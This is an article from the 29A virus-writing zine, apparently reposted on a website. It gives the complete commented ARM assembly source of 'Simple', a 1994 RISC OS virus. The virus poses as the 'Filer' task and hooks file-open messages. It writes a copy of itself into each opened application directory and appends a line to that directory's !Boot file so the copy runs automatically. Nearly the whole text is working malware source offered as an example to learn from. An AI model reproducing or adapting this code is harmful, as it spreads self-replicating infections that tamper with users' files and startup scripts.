Copy Link
Add to Bookmark
Report
29A Issue 03 05 02
; Simple, a example virus
; Copyright (C) 1994 The Dark Lord
.start
B wimp_init ;Jump over copyright message
DCB 10,10,"Simple, (C) 1994 The Dark Lord",10,10
ALIGN
.wimp_init
MOV R0,#200 ;Minimum WIMP is 2.00
LDR R1,task ;Load magic word
ADR R2,taskname ;Pointer to our task's name
SWI XWimp_Initialise ;Init the wimp
SWIVS XOS_Exit ;Just incase of error
STR R1,taskhandle ;store the task handle
.poll_loop
MOV R0,#0 ;Poll mask
ADR R1,pollblock ;Poll block
SWI XWimp_Poll ;Poll the wimp...
TEQ R0,#17 ;Is the poll message wanted?
TEQNE R0,#18 ;Is it the other message wanted?
BNE poll_loop ;It is not relevent, branch back to top
TEQ R0,#17 ;User_Message
TEQNE R0,#18 ;User_MessageRecorded
BEQ user_message
B poll_loop ;Back to the top just incase
.user_message
LDR R0,[r1,#16] ;Get message number from block
TEQ R0,#5 ;Message_DataOpen (5)
TEQNE R0,#0 ;Message_Quit (0)
BNE poll_loop ;Not an interesting message, return to poll
TEQ R0,#5 ;Message_DataOpen (5)
BEQ infect ;If so, try and infect
TEQ R0,#0 ;Message_Quit
BEQ closedown ;If so, close down wimp and quit
B poll_loop ;Just incase
.closedown
LDR R0,taskhandle ;Load our task's handle
LDR R1,task ;Load the magic word
SWI XWimp_CloseDown ;Close down wimp task
SWI XOS_Exit ;And quit program
.infect
ADR R0,pollblock ;Get the address of poll block
ADD R0,R0,#44 ;Go to the path of file
BL count_len ;Count the string's length, into R11
ADD R1,R0,R11 ;Add to pointer to get to end of pathname
STR R1,place ;Save place for later reference
MVN R3,#0 ;Virus filename counter
ADR R4,filename ;Address of string to copy
.copy_filename1
ADD R3,R3,#1 ;Add 1 to counter
LDRB R5,[R4,R3] ;Load a byte from original string
STRB R5,[R1,R3] ;And write it on the end of the path
CMP R5,#0 ;Is it a null?
BNE copy_filename1 ;No, copy next character
ADR R0,pollblock ;save_code expects filename in R10
ADD R10,R0,#44 ;so reextract it from pollblock
BL save_code ;Save the code in the file pointed to
MVN R3,#0 ;Boot filename counter
ADR R4,boot ;Address of string to copy
LDR R0,place ;Get the place again
.copy_filename2
ADD R3,R3,#1 ;Add one to counter
LDRB R5,[R4,R3] ;Get next byte of original string
STRB R5,[R0,R3] ;And save the byte back
CMP R5,#0 ;Is it the null at the end?
BNE copy_filename2 ;No, copy next chacater
ADR R0,pollblock ;boot_line expects filename in R10
ADD R10,R0,#44 ;so reextract it from pollblock
BL add_boot_line ;save the boot line to !Boot file
B poll_loop ;Branch back to poll loop.
.count_len
MVN R11,#0 ;counter/offset pointer
.count_loop
ADD R11,R11,#1 ;Add one to our counter/offset pointer
LDRB R10,[R0,R11] ;Load a byte from R0+R11
CMP R10,#0 ;Compare byte will null terminator
BNE count_loop ;Not a null, get next character and count
MOV PC,R14 ;Return to calling code. R11=Length
.save_code
MOV R0,#10 ;Save memory as file
MOV R1,R10 ;Move filename from R10 to R1
MOV R2,#&FF0 ;Absolute executable file type
ADD R2,R2,#8 ;&FF8 won't fit in the instrucion, so add 8
ADR R4,start ;Start of code
ADR R5,end ;End of code
SWI XOS_File ;Save the code
MOV PC,R14 ;Return to calling code.
.add_boot_line
MOV R0,#&C0 ;Open file
MOV R1,R10 ;Move filename from R10 to R1
SWI XOS_Find ;Open the file, handle in R0
MOV R9,R0 ;Move handle somewhere safe
MOV R0,#2 ;Read Extent
MOV R1,R9 ;File handle
SWI XOS_Args ;Get the extend of the file into R2
MOV R0,#1 ;Set pointer
SWI XOS_Args ;R2 is already set from above
MVN R2,#0 ;Counter of bytes written
MOV R1,R9 ;Get the file handle from R9
ADR R3,load_line ;Address of line to add
.put_loop
ADD R2,R2,#1 ;Add 1 to the counter
LDRB R0,[R3,R2] ;Load the next byte
SWI XOS_BPut ;And write the byte to the file
CMP R2,#18 ;Is it the last character yet?
BNE put_loop ;If not, loop again
MOV R0,#0 ;Close File
MOV R9,R1 ;Move file handle from R9 to R1
SWI XOS_Find ;Close the file
MOV PC,R14 ;Otherwise, return to calling code.
.task
DCB "TASK"
.taskname
DCB "Filer",0
.load_line
DCB 10,60,"Obey$Dir",62,".Simple",10,0
.filename
DCB ".Simple",0
.boot
DCB ".!Boot",0
ALIGN
.taskhandle
DCD -1
.place
DCD -1
.end
.pollblock
